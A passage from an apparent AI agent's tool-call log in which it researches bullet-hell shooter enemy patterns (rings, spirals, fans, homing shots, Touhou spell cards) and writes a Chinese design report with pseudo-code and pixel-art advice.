"调研弹幕射击游戏敌方弹幕模式并生成结构化调研报告", "tasks": [{"title": "检索项目记忆与检查交付目录结构"}, {"title": "网络搜索经典弹幕模式分类信息"}, {"title": "网络搜索Boss战弹幕设计与东方Project符卡"}, {"title": "网络搜索弹幕数学原理与实现、像素风格视觉设计"}, {"title": "整理生成 bullet_pattern_research.md 调研报告"}]}, "ts": 1787459395610}, {"type": "progress", "id": "call_cfb299b68dde4a74bfe58bba", "tool": "todo_create", "status": "completed", "args": {"overview": "调研弹幕射击游戏敌方弹幕模式并生成结构化调研报告", "tasks": [{"title": "检索项目记忆与检查交付目录结构"}, {"title": "网络搜索经典弹幕模式分类信息"}, {"title": "网络搜索Boss战弹幕设计与东方Project符卡"}, {"title": "网络搜索弹幕数学原理与实现、像素风格视觉设计"}, {"title": "整理生成 bullet_pattern_research.md 调研报告"}]}, "ts": 1787459395610}, {"type": "progress", "id": "call_ab623264136e48809599bf5b", "tool": "search_project_memory", "status": "running", "args": {"keywords": ["弹幕", "bullet hell", "STG", "符卡", "射击游戏"]}, "ts": 1787459395611}, {"type": "progress", "id": "call_ab623264136e48809599bf5b", "tool": "search_project_memory", "status": "completed", "args": {"keywords": ["弹幕", "bullet hell", "STG", "符卡", "射击游戏"]}, "ts": 1787459395613}, {"type": "progress", "id": "call_9a0e3d20ffd24ad8bf328c1f", "tool": "run_command", "status": "running", "args": {"command": "ls -la /Users/demo/starraid/ 2>/dev/null; echo \"---\"; ls -la /Users/demo/starraid/research/ 2>/dev/null; echo \"---\"; ls -la /Users/demo/starraid/research/bullet_patterns/ 2>/dev/null", "timeout": 30}, "ts": 1787459395614}, {"type": "progress", "id": "call_9a0e3d20ffd24ad8bf328c1f", "tool": "run_command", "status": "completed", "args": {"command": "ls -la /Users/demo/starraid/ 2>/dev/null; echo \"---\"; ls -la /Users/demo/starraid/research/ 2>/dev/null; echo \"---\"; ls -la /Users/demo/starraid/research/bullet_patterns/ 2>/dev/null", "timeout": 30}, "ts": 1787459395655}, {"type": "progress", "id": "call_9b9b4ee0cd984f2ba4727017", "tool": "web_search", "status": "running", "args": {"query": "bullet hell danmaku pattern design ring spiral fan patterns tutorial", "max_results": 8}, "ts": 1787459398723}, {"type": "progress", "id": "call_9b9b4ee0cd984f2ba4727017", "tool": "web_search", "status": "completed", "args": {"query": "bullet hell danmaku pattern design ring spiral fan patterns tutorial", "max_results": 8}, "ts": 1787459402243}, {"type": "progress", "id": "call_17b3177663a345848673cc5e", "tool": "web_search", "status": "running", "args": {"query": "东方Project 符卡系统 Spell Card 设计 弹幕", "max_results": 8}, "ts": 1787459402244}, {"type": "progress", "id": "call_17b3177663a345848673cc5e", "tool": "web_search", "status": "completed", "args": {"query": "东方Project 符卡系统 Spell Card 设计 弹幕", "max_results": 8}, "ts": 1787459407839}, {"type": "progress", "id": "call_59a10e058db24223b9289abc", "tool": "web_search", "status": "running", "args": {"query": "STG bullet hell boss pattern design safe zone spell card phases", "max_results": 8}, "ts": 1787459407842}, {"type": "progress", "id": "call_59a10e058db24223b9289abc", "tool": "web_search", "status": "completed", "args": {"query": "STG bullet hell boss pattern design safe zone spell card phases", "max_results": 8}, "ts": 1787459414145}, {"type": "progress", "id": "call_e7310866f9084952b71c96c3", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://note.com/npaka/n/n5d38b7d84173?hl=en"}, "ts": 1787459418076}, {"type": "progress", "id": "call_e7310866f9084952b71c96c3", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://note.com/npaka/n/n5d38b7d84173?hl=en"}, "ts": 1787459419644}, {"type": "progress", "id": "call_bb3045de87664f97a67f4214", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://sparen.github.io/ph3tutorials/ddsga2.html"}, "ts": 1787459419649}, {"type": "progress", "id": "call_bb3045de87664f97a67f4214", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://sparen.github.io/ph3tutorials/ddsga2.html"}, "ts": 1787459421081}, {"type": "progress", "id": "call_b0e393bf872f4f91a80bcf83", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "bullet hell bullet movement math angle speed acceleration curved bullets implementation tutorial"}, "ts": 1787459421085}, {"type": "progress", "id": "call_b0e393bf872f4f91a80bcf83", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "bullet hell bullet movement math angle speed acceleration curved bullets implementation tutorial"}, "ts": 1787459427682}, {"type": "progress", "id": "call_476f023ddc4546089e39867d", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://dmk.bagoum.com/docs/articles/t06.html"}, "ts": 1787459432747}, {"type": "progress", "id": "call_476f023ddc4546089e39867d", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://dmk.bagoum.com/docs/articles/t06.html"}, "ts": 1787459434192}, {"type": "progress", "id": "call_3b00045226594af1ac8b841c", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "pixel art bullet design shmup bullet shapes readability color coding hitbox"}, "ts": 1787459434196}, {"type": "progress", "id": "call_3b00045226594af1ac8b841c", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "pixel art bullet design shmup bullet shapes readability color coding hitbox"}, "ts": 1787459438062}, {"type": "progress", "id": "call_0f5194dad6614e369cad6d30", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "Touhou bullet types pellet star knife orb tama danmaku bullet graphics"}, "ts": 1787459438066}, {"type": "progress", "id": "call_0f5194dad6614e369cad6d30", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "Touhou bullet types pellet star knife orb tama danmaku bullet graphics"}, "ts": 1787459443104}, {"type": "progress", "id": "call_126797b4564045079c9e273f", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design"}, "ts": 1787459446601}, {"type": "progress", "id": "call_126797b4564045079c9e273f", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design"}, "ts": 1787459448476}, {"type": "progress", "id": "call_107e79f15560482196aa6d4a", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://touhou.fandom.com/wiki/Touhou_Danmakufu:_Bullets"}, "ts": 1787459448482}, {"type": "progress", "id": "call_107e79f15560482196aa6d4a", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://touhou.fandom.com/wiki/Touhou_Danmakufu:_Bullets"}, "ts": 1787459450129}, {"type": "progress", "id": "call_968d7e3352034f479e45e023", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "shmup boss phase design pattern escalation rhythm light heavy phase spell card survival card"}, "ts": 1787459450136}, {"type": "progress", "id": "call_968d7e3352034f479e45e023", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "shmup boss phase design pattern escalation rhythm light heavy phase spell card survival card"}, "ts": 1787459455165}, {"type": "progress", "id": "call_c4229bb8ffb54b61998b8367", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups"}, "ts": 1787459459458}, {"type": "progress", "id": "call_c4229bb8ffb54b61998b8367", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups"}, "ts": 1787459461213}, {"type": "progress", "id": "call_2934c9ba32d0416aa497fca2", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://zhuanlan.zhihu.com/p/37282998"}, "ts": 1787459461220}, {"type": "progress", "id": "call_2934c9ba32d0416aa497fca2", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://zhuanlan.zhihu.com/p/37282998"}, "ts": 1787459463340}, {"type": "progress", "id": "call_0bec51e442e7459bb1052633", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://raw.githubusercontent.com/nickschuetz/o3de-diorama/main/Docs/howto/24-bullet-patterns.md"}, "ts": 1787459471280}, {"type": "progress", "id": "call_0bec51e442e7459bb1052633", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://raw.githubusercontent.com/nickschuetz/o3de-diorama/main/Docs/howto/24-bullet-patterns.md"}, "ts": 1787459473022}, {"type": "progress", "id": "call_c2f251df800740a78a8665c6", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "东方 弹幕 子弹图形 小玉 中玉 大玉 针弹 刀弹 激光 种类"}, "ts": 1787459473027}, {"type": "progress", "id": "call_c2f251df800740a78a8665c6", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "东方 弹幕 子弹图形 小玉 中玉 大玉 针弹 刀弹 激光 种类"}, "ts": 1787459477934}, {"type": "progress", "id": "call_84737b8b5a16471b86d12727", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "danmaku pattern safe spot routing macro dodge micro dodge stream pattern design"}, "ts": 1787459477940}, {"type": "progress", "id": "call_84737b8b5a16471b86d12727", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "danmaku pattern safe spot routing macro dodge micro dodge stream pattern design"}, "ts": 1787459484039}, {"type": "progress", "id": "call_f1ebaba62f454ec59804c5d6", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://old.reddit.com/r/shmupdev/comments/13w730k/bullet_hell_shmup_design_101_bullet_patterns/"}, "ts": 1787459491121}, {"type": "progress", "id": "call_f1ebaba62f454ec59804c5d6", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://old.reddit.com/r/shmupdev/comments/13w730k/bullet_hell_shmup_design_101_bullet_patterns/"}, "ts": 1787459493861}, {"type": "progress", "id": "call_61e2abeec97f4ddcb26c7a6c", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://tig.fandom.com/wiki/Danmaku"}, "ts": 1787459493867}, {"type": "progress", "id": "call_61e2abeec97f4ddcb26c7a6c", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://tig.fandom.com/wiki/Danmaku"}, "ts": 1787459495749}, {"type": "progress", "id": "call_040e7861b94e4ca4a127bbf3", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "DoDonPachi Ketsui Mushihimesama bullet patterns design Cave shmups famous patterns"}, "ts": 1787459499225}, {"type": "progress", "id": "call_040e7861b94e4ca4a127bbf3", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "DoDonPachi Ketsui Mushihimesama bullet patterns design Cave shmups famous patterns"}, "ts": 1787459503921}, {"type": "progress", "id": "call_722e3b8c9f504c5382e76d1b", "tool": "todo_update_task", "status": "running", "args": {"completed": true, "task_indices": [1, 2, 3, 4]}, "ts": 1787459530962}, {"type": "progress", "id": "call_722e3b8c9f504c5382e76d1b", "tool": "todo_update_task", "status": "completed", "args": {"completed": true, "task_indices": [1, 2, 3, 4]}, "ts": 1787459530963}, {"type": "progress", "id": "call_221c64a46fc24b6eb696fcd8", "tool": "write_file", "status": "running", "args": {"file_path": "research/bullet_patterns/bullet_pattern_research.md", "content": "# 弹幕射击游戏(STG / Bullet Hell)敌方弹幕模式调研报告\n\n> **调研目的**:为像素风格的弹幕射击游戏(STG / Bullet Hell)提供敌方弹幕(bullet pattern)设计的系统性参考。\n> **调研方式**:网络搜索 + 网页资料提取(来源见第 7 章)。\n> **调研时间**:2026-08-23\n> **交付目录**:`research/bullet_patterns/`\n\n---\n\n## 0. 摘要(TL;DR)\n\n- 弹幕(danmaku / 弾幕,字面义\"弹幕幕帘\",西方称 bullet hell / curtain fire)与普通 STG 的本质区别**不是子弹数量**,而是\"**整个屏幕都是弹幕的舞台**\"——大量子弹不是为了全部命中玩家,而是组成可观赏、可读、有图案(pattern)的\"幕帘\",玩家在其中寻找缝隙穿行。多数子弹在诞生之初就注定打不到玩家(Sparen's Danmaku Design Studio, Guide A2)。\n- 经典弹幕模式可用\"**规律 + 微扰**\"统一描述:先排布几何图案(环形、螺旋、扇形、直线、激光、网格等),再叠加少量可控随机(角度/速度抖动),并始终**以\"设计缝隙\"为核心**,而不是\"设计密度\"。\n- Boss 战的核心设计杠杆:**阶段(Phase/符卡)转换、节奏(轻/重交替与紧张-释放)、密度控制(难度曲线)、安全路径/安全点(safe zone/safespot/routing)、公平性信号(预警 telegraph)**。\n- 实现上只靠 5 个基础参数即可组合出绝大多数模式:**发射角度、子弹数量、发射间隔、子弹速度、加速度(角速度)**;曲线弹幕依赖角速度转向、极坐标/参数方程(如螺旋 `r=a·t, θ=b·t`)、贝塞尔曲线或正弦扰动。\n- 像素风格下,弹幕可读性(readability)压倒一切:**高饱和颜色 + 描边(尤其双层描边)+ 闪烁/呼吸动画 + 明确的子弹形状语义 + 绘制层级(敌方子弹永远最上层)**;并让判定(hitbox)远小于视觉尺寸。\n\n---\n\n## 1. 背景认知:弹幕射击与普通 STG 的区别\n\n| 维度 | 普通 STG | 弹幕射击(Bullet Hell) |\n|---|---|---|\n| 子弹目的 | 命中玩家 | 大量子弹作\"装饰 + 制造缝隙谜题\",很多子弹故意不打玩家 |\n| 屏幕利用 | 子弹从上方来袭 | 全屏都是舞台,子弹可从任何方向/任何规律出现 |\n| 判定 | 机体整体判定 | 微型判定点(hitbox),东方等游戏中判定远小于机绘大小 |\n| 玩家速度 | 较快 | 有\"低速聚焦模式\"(focus/slow mode)用于精确微调 |\n| 美学 | 战场感 | \"弹幕舞蹈\",图案本身有独立观赏价值 |\n\n关键概念:\n\n- **幕帘火(Curtain fire)**:'curtain fire'精确描述了弹幕的本质——用弹幕填满一片空间形成\"幕帘\",玩家面对的是\"图案\",而不是\"几发子弹\"(Sparen Guide A2)。\n- **判定点(Hitbox)**:子弹只有碰到自机中心的微小判定点才算命中。Cave 的《虫姬后传》《怒首领蜂大复活》甚至有 1 像素判定;DoDonPachi 系列子弹判定通常只占子弹直径约 20%(来源:TimeExtension CAVE 历史长文、Shmups Wiki CAVE 词条)。\n- **擦弹(Graze)**:子弹掠过判定点外围的\"擦弹判定圈\"得分,鼓励玩家贴着子弹走(Summer Engine、maribelhearn 术语表)。\n- **心理过滤(Mental filtering)**:高手玩家会自动忽略大量\"注定打不中自己\"的子弹(例如环形弹幕中飞向两侧/上方的子弹),只对逼近自己的弹道做出反应——这是弹幕\"装饰性子弹\"能成立的心理学基础(Sparen Guide A2)。\n\n---\n\n## 2. 经典弹幕模式分类\n\n> 本节以任务要求的 9 类为主干(2.1–2.9),然后在 2.10 补充调研中发现的其它常用模式。每个模式给出:**名称 / 视觉描述 / 数学与实现要点 / 经典游戏例子 / 像素风格设计建议**。\n> 注:任务要求的 9 类与社区常用分类(如 note.com 归纳的 15 种模式)并非一一对应,本报告将两类分类体系做了映射与合并。\n> 经典例子部分,凡未在本轮调研资料中明确出现的,均标注为\"常识(通用认知)\",置信度说明见第 7 章。\n\n### 2.1 环形弹幕(Ring / Circle Burst,日语\"轮弾/円形弾\")\n\n- **视觉描述**:从中心点向 360° 均匀放射一圈子弹,呈涟漪/烟花/魔法阵状。变化包括:扩展环(从小半径环向外扩)、收缩环、多重同心环、旋转环、分裂环(飞到中途爆成更多子弹)。(note.com 2-8 Rings)\n- **数学与实现要点**:\n ```\n n = 子弹数; base = 基准角\n for i in 0..n-1:\n angle = base + i * (360° / n)\n vx = speed * cos(angle); vy = speed * sin(angle)\n ```\n 若每帧/每次发射让 `base` 增加固定角,环就\"旋转/缭乱\"起来。(o3de-diorama 文档:Ring 参数含 Count、Aim、Speed、Fire Rate、Spin Per Shot;Ted Lim / GameMaker 论坛同款公式)\n- **经典游戏例子**:东方系列几乎所有 Boss 都有环弹(常识);琪露诺的冰符「Icicle Fall -Easy-」的冰柱环是知名的入门环弹(Sparen Guide A2 以其为例讲述固定角);环形常用作 Boss 战开场或\"轻阶段\"的通用压迫弹(note.com 入门 Boss 组合)。\n- **像素风格设计建议**:环弹数量多且对称,适合用**小尺寸圆形弹**(6–8px)保证低视觉占用;用\"带圈的小玉\"(外圈描边)区分装饰环和危险环;旋转环可给子弹加 1–2 帧的旋转动画增强\"轮转感\"。\n\n### 2.2 螺旋弹幕(Spiral)\n\n- **视觉描述**:发射角连续旋转,子弹留下螺旋尾迹,像银河/风车/玫瑰。变体:单螺旋、多螺旋、顺逆时针双螺旋交叉、不同色相/速度的螺旋。(note.com 2-2 Spiral)\n- **数学与实现要点**:\n - 离散式:每次发射一个环,环的基准角 += 每发旋转角(Spin Per Shot),即\"每发转一点\"(o3de-diorama)。\n - 参数方程(连续式):极坐标 `r = a·t`、`θ = b·t`,则 `x = cx + r·cos(θ)`,`y = cy + r·sin(θ)`(来源:Danmokou Tutorial 6 的螺旋示例 `polar(2*t, 80*t)`)。\n - 替代实现:让发射器父对象缓慢旋转(Ted Lim——\"空对象 + 3 个子发射点 + 旋转父对象即可做出螺旋\")。\n- **经典游戏例子**:螺旋是弹幕最经典的高性价比模式,\"低子弹数也能很华丽\"(note.com);东方各作螺旋遍地(常识),双反向螺旋常作中后期难度(YouTube Week 25 Boss 设计演示了\"顺+逆双螺旋\"Boss 阶段)。\n- **像素风格设计建议**:螺旋强调\"轨迹\",适合用**细长子弹(针弹/米弹/箭弹)**来勾勒弧线;或给圆形弹加方向性贴图(箭头形)让旋转方向可读(Sparen Guide A2 说明了\"有方向性的子弹图形\"对旋转/转向弹幕的可读性价值)。\n\n### 2.3 扇形弹幕(Fan / Wedge)\n\n- **视觉描述**:在一个方向张开成扇面。窄扇高压、宽扇适合场景演出;朝玩家发射时进攻性强(\"瞄准开火\"的观感),固定方向发射则可控、适合道中演出。(note.com 2-3 Fan)\n- **数学与实现要点**:\n ```\n n = 子弹数; spread = 扇形总张角; aim = 瞄准角\n step = spread / (n - 1)\n start = aim - spread / 2\n for i in 0..n-1:\n angle = start + i * step\n ```\n (来源:Unity 教程(Unity Discussions 搜索片段)与 Ted Lim 的扇面公式——\"startAngle = target - halfSpread / 2,endAngle = target + halfSpread/2,逐颗递增 step\")\n- **经典游戏例子**:几乎所有 STG 的追踪射击采用\"瞄准玩家的扇\"(aimed fan);东方道中妖精惯用(常识);DoDonPachi 等 Cave 游戏的\"concentrated fire\"即窄/快扇(来源:Zen of the SHMUP 对 Cave 的归类)。\n- **像素风格设计建议**:扇弹适合 7–11 颗一组的中型子弹(如 10px 小玉),发射瞬间用**同一色系**表示同一波;窄扇用暖色(红/橙)暗示高风险,宽装饰扇用冷色。\n\n### 2.4 直线弹幕(Line / Stream / Wall)\n\n- **视觉描述**:\n - **流弹(Stream)**:从一处连续射出单发子弹,形成一条密集弹流,玩家\"引弹\"时可把它带成一条可利用的空隙带(maribelhearn 术语:streaming / 引弹)。\n - **墙(Wall)**:同排/同列子弹连成不可穿越的\"墙\",迫使玩家整体绕过(宏闪避)或在墙隙中微闪避。Sparen Guide A3 的定义:\"墙 = 玩家无法从中间穿过的子弹群/编队\"。\n- **数学与实现要点**:连续发射(fire rate 控制密度)+ 固定方向;若每发角度做正弦微扰,直线流会变成\"S 形波流\"(Unity 论坛示例:0°→180° 递增、180°→360° 递减即正弦半波)。\n- **经典游戏例子**:东方\"针山/米弹雨\"类密集直线(常识);Sparen 用 Utsuho(地灵殿 阿空)的符卡组合说明微/宏闪避结合的动态弹幕(Sparen Guide A3)。\n- **像素风格设计建议**:直线弹适合**针弹/米弹/箭弹**(细长、方向明确);流弹用同色细弹,墙用同色+同速保证\"墙\"的视觉连续性;给子弹加方向性贴图可让玩家立即读出弹道(Sparen Guide A2)。\n\n### 2.5 随机散射(Random Spread)\n\n- **视觉描述**:子弹角度/速度在随机范围内散射,像火花、星尘、碎片。纯随机易显得\"无设计\"且不公平,优秀做法是给角度、速度、密度赋予\"范围与偏置\"(bias),即受控随机。(note.com 2-12 Particles;Sparen Guide A2 对随机角的负面评价)\n- **数学与实现要点**:\n - 在固定规律上叠加小随机:\"受控随机看起来更像弹幕\"(note.com 3-1):\n ```\n angle = base + i * even_angle + sin(t) * 波动幅度 # 规律性\n speed = base_speed + random(-0.2, 0.2) # 微扰\n ```\n - 随机角度也可用作\"种子角度\":例如连续发射环形弹时,每轮用一个随机初始角,避免盲区/避免每轮覆盖完全相同的路径(Sparen Guide A2)。\n- **经典游戏例子**:东方的\"小虫型符卡\"(《魔理沙的魔法书》分类,子弹细碎、颜色丰富,多为弱妖怪用,来源:Wikipedia 符卡)与妖精群随机弹(常识);Cave 的 Mushihimesama 强调\"更快、更集中\"的火力,其随机感更强(来源:Zen of the SHMUP / Reddit 讨论)。\n- **像素风格设计建议**:随机弹适合**点弹/星弹/米粒弹**等小尺寸,配合\"闪烁\"动画强调危险性;随机弹颜色可用亮白/黄等\"危险信号色\";注意与背景对比度(slynyrd)。\n\n### 2.6 追踪弹幕(Homing / Aimed)\n\n- **视觉描述**:\n - **瞄准弹(Aimed)**:开火瞬间朝玩家当前位置瞄准(可加扇形成\"瞄准扇/散弹\"),考验玩家\"引弹\"(misdirection)能力(note.com 2-4、maribelhearn 术语)。\n - **追踪弹(Homing)**:飞行中持续转向玩家。转向性能越弱越容易躲,追求\"稍微弯曲\"而非\"全程咬死\",反而更美观(note.com 2-13)。\n- **数学与实现要点**:\n ```\n desired = atan2(player.y - bullet.y, player.x - bullet.x)\n turn = clamp(desired - bullet.angle, -maxTurnRate*dt, +maxTurnRate*dt)\n bullet.angle += turn # 限速转向(turning performance)\n # 可选:加速度朝玩家、停顿后重新加速、分裂后重新锁定(note.com 2-13 变体)\n ```\n- **经典游戏例子**:瞄准弹是 Cave\"concentrated fire / tracking\"风格的基石(来源:SHMUP Workshop 03 YouTube——\"tracking and spread gates, 经典 CAVE 做法\");东方 Boss 的瞄准时间差/瞄准散弹(常识)。追踪弹在 DoDonPachi 的\"自爆弹\"(suicide bullets,击破敌人释放的追踪自机弹)中大量出现(来源:TimeExtension)。\n- **像素风格设计建议**:追踪弹要用**明显的方向性贴图**(箭头/小刀/蝴蝶等)且贴图随角度旋转,否则玩家读不出它在转弯(Sparen Guide A2:\"无方向性贴图的圆弹不传达转向\")。用发光/描边强调\"这只子弹会追我\"。\n\n### 2.7 反弹弹幕(Bounce / Ricochet)\n\n- **视觉描述**:子弹撞到屏幕边缘/墙壁后反弹继续飞行,轨迹呈折线。属于\"轨迹型\"弹幕中较少见的一类。\n- **数学与实现要点**:碰撞边缘时反射角度:`angle = π - angle`(左右边)或 `angle = -angle`(上下边),或对速度向量做分量取反;可加转数上限让子弹弹几次后消失。\n- **经典游戏例子**:相比东方式纵版弹幕(子弹通常出屏即消),反弹弹更常见于街机/横版与部分同人弹幕(如某些 Cave 之外的 STG);东方中近乎**没有**常规反弹弹(常识判断,未见调研资料佐证其广泛存在)。⚠️ 这属于\"相对少见\"的类型,若要在本项目中使用,建议作为特色武器或 Boss 特殊阶段引入,而非基础词库。\n- **像素风格设计建议**:反弹弹适合圆润的**圆形/椭弹**(避免方向性贴图在反弹瞬间的旋转跳变违和);反弹瞬间加 1–2 帧\"压缩-回弹\"动画或火花粒子,强化物理感;用预警或颜色提示\"它会弹\"。\n\n### 2.8 滞留弹幕(Static / Lingering)\n\n- **视觉描述**:子弹停留在场上形成持续障碍,或极慢速移动封锁区域。包括:静止弹墙、悬浮使魔、地面/空中持续存在的弹(laser 也可视为线状滞留)。作用是**区域封锁(area denial)**:封住一部分屏幕,为后续弹幕做铺垫,或堵住之前的逃逸路线(SHMUP Workshop 03:area denial patterns 的定义;Boghog:bullet sealing、ceasefire zone 等反挫败机制)。\n- **数学与实现要点**:寿命(lifespan)拉长 + 速度降到 ~0;或通过\"分裂条件=凝固\"实现\"飞行到某点后停住\"。可让滞留弹周期性闪烁(半透明 + 呼吸)提示\"仍在威胁中\"。\n- **经典游戏例子**:东方\"压迫型符卡\"(《魔理沙的魔法书》:限制自机移动范围的符卡,来源 Wikipedia,如灵梦的梦符「二重结界」以弹幕构成双重结界限制移动——B 站文章以它为例);激光墙封路也是常见形式(note.com 2-14,激光\"clearly block off parts of the screen\")。\n- **像素风格设计建议**:滞留弹必须与\"会动的危险弹\"在视觉上区分——建议**低频闪烁 + 半透明 + 固定描边**;或用\"发光的柱子/结界\"图形(如结界/棱镜形状)表示区域阻碍物。静止弹用冷色系(蓝/紫),活动弹用暖色系,形成语义分离。\n\n### 2.9 组合弹幕(Compound Patterns)\n\n- **视觉描述**:把多个模式叠加。例如\"螺旋铺满屏 + 瞄准弹逼玩家移动\",或\"展开环 + 中途分裂 + 激光堵路\"。(note.com 2-15 Composite)\n- **设计原则**(note.com 3-2 / 2-15):\n - 组合时**指定一个主模式**,其余为伴奏,避免信息过载。\n - 元素越多,越要依赖颜色编码、预警、缝隙设计来保证可读性。\n - 组合要形成\"分工\":背景压迫 + 前景逼迫(如中间难度组合:旋转全向弹 + 上方落雨 + 周期性瞄准弹)。\n- **经典游戏例子**:东方高阶符卡几乎都是组合(常识,如多层螺旋+分裂环+预警激光即 note.com 高级 Boss 推荐组合);阿空(地灵殿)的符卡是微/宏闪避结合的著名组合(Sparen Guide A3)。\n- **像素风格设计建议**:组合弹幕在像素风下最容易\"糊成一团\"。建议:每个模式用**不同主色**;不同模式用**不同子弹形状**(圆=压迫、针=直线、星=装饰/特殊);层与层之间拉开速度差,让玩家能分层读取。\n\n### 2.10 调研补充的常用模式\n\n以下模式来自 note.com 的《15 种经典弹幕模式》与 Sparen 指南,按需并入本项目词库:\n\n| 模式 | 视觉/玩法特征 | 要点 | 像素建议 |\n|---|---|---|---|\n| **波型/幕帘(Wave/Curtain)** | 正弦波排列的子弹带,像波浪/极光/瀑布,容易与 BGM 节奏联动 | 重点是\"缝隙的流动感\"而非子弹本身;`y = a·sin(ωt + φ)` 排布 | 用细长米弹/针弹沿正弦排布,同色系渐变 |\n| **网格(Grid)** | 横竖规则排列,钻石/晶体状,几何美且缝隙可读;纯网格易单调,加大小的速度差/局部缺口 | 强规律、易读、密度↑难度↑ | 用规则小圆弹 + 网格闪烁/错位动画 |\n| **花状(Floral)** | 对称花瓣排列(5/6/8 瓣),华丽,适合符卡演出 | 对称越高越精致;过度均匀会单调,周期性转相位 | 花瓣用两类颜色交替(瓣=亮、蕊=暗)强化图案 |\n| **星形/多边形(Star)** | 强调特定顶点(5/6/8 向)的星形放射 | 少弹星形也醒目,适合元素/性格表达 | 用星形贴图子弹 + 旋转动画 |\n| **交叉(Intersection)** | 多股弹流交叉如编织/光流;视觉美但缝隙易被切断 | 关注\"玩家可走的路径\"而非交点;调速度/密度/交叉角 | 两条交叉流用互补色(如青 vs 品红)|\n| **落雨(Rain)** | 自上而下倾泻,天然适合道中演出 | 全随机易不公平,保持一定规律美观 | 竖直方向子弹用垂直长条贴图或水滴形 |\n| **粒子(Particles)** | 火花/星尘式散落,适合爆炸、花瓣、魔法粒子、Boss 登场 | 给角度/速度/密度一个\"范围+偏置\" | 小尺寸 + 闪烁,可叠加在其他弹幕上做纹理 |\n| **激光(Laser)** | 线/带状攻击,视觉冲击强,可明确封路 | 发射前先给**细预警线(telegraph)**最公平;有固定/旋转/弯曲/网格激光 | 预警线细→粗的 2 帧过渡动画;激光主体用高亮+描边 |\n| **分裂弹(Split)** | 飞行中途/定时/到距离后爆成子弹(如 1→3),常伴随\"先停顿\"预警 | 分裂条件:时间/距离/位置;分裂后子弹可重新锁定玩家(note.com 2-13) | 母弹大而亮(告知\"会爆\"),子弹小一号;停顿帧加\"蓄力闪光\" |\n\n---\n\n## 3. Boss 战弹幕设计\n\n### 3.1 阶段转换与东方Project符卡系统(Spell Card)\n\n**东方Project 的符卡系统**(来源:Wikipedia《符卡》、百度百科、PIXNET 东方介绍):\n\n- **来源与规则**:符卡(Spell Card,スペルカード)由《东方红魔乡》首次引入(ZUN 自述为\"比其它系统更早面世\"而开发本作)。符卡规则 = \"给绝技命名并宣言\"的决斗规则:宣言、约定符卡张数、击破对方全部符卡即胜。\n- **敌方符卡流程**:\n 1. **非符(nonspell)**:Boss 的普通攻击,一般耐久条分格为单位;\n 2. **符卡宣言**:血量削到阈值时 Boss \"念符\"(宣言),画面切换为该角色专属 Spell Card 背景,进入符卡攻击;\n 3. **符卡红利(Spell Card Bonus, SCB)**:无 Miss 无 Bomb 击破符卡可获得额外分数,随时间递减;擦弹可增加红利;\n 4. **时间限制**:每张符卡有残余时间显示,超时 Boss 自动进入下一波(此时无法收取符卡)。\n- **符卡变体**:\n - **增强型符卡**:随血量削减,弹幕密度/速度逐渐增加,越到后面越难(强化难度的天然手段);\n - **时效型/时限型符卡**:耐久无法直接削减,玩家必须\"死守到时间结束\"才能收取(生存符卡 survival card;如《永夜抄》部分符卡);\n - **Last Spell / Last Word / Overdrive**:残机为零或特定条件下的最终符卡(Extra/隐藏挑战用)。\n- **难度变化**:同一符卡在 Easy/Normal 与 Hard/Lunatic 下常有**不同名字**(Higher 难度名字更华丽),弹幕排列与颜色也会变化(Wikipedia)。\n- **《魔理沙的魔法书》对符卡的分类**(Wikipedia):演剧型(重视觉效果、大量非瞄准装饰弹)、奴隶型(用使魔/人偶/式神攻击)、小虫型(细碎多彩、弱妖怪)、压迫型(限制自机移动范围)、兴奋剂型(强化自身)。\n\n**对本项目的启示**:阶段(Phase)不必按血量硬切,可以模仿\"非符→符卡宣言→符卡\"的节奏:普通阶段保持低密度教学,宣言瞬间清场 + 特效 + 显示符卡名,制造\"仪式感\";生存符卡(时限型)能复用已有图案、只改目标(熬过 X 秒),开发成本低、演出效果好。\n\n### 3.2 弹幕密度控制\n\n- **密度不是越多越好**:'curtain fire'不等于无限堆弹;密度阈值之后,可读性(readability)崩坏,玩家感到\"不公平\"而非\"华丽\"(note.com 3-2:设计缝隙而非密度)。\n- **难度曲线**:\n - 报告参考\"轻/重阶段交替\"(Danmaku Unlimited 3 采用东方式 light/heavy 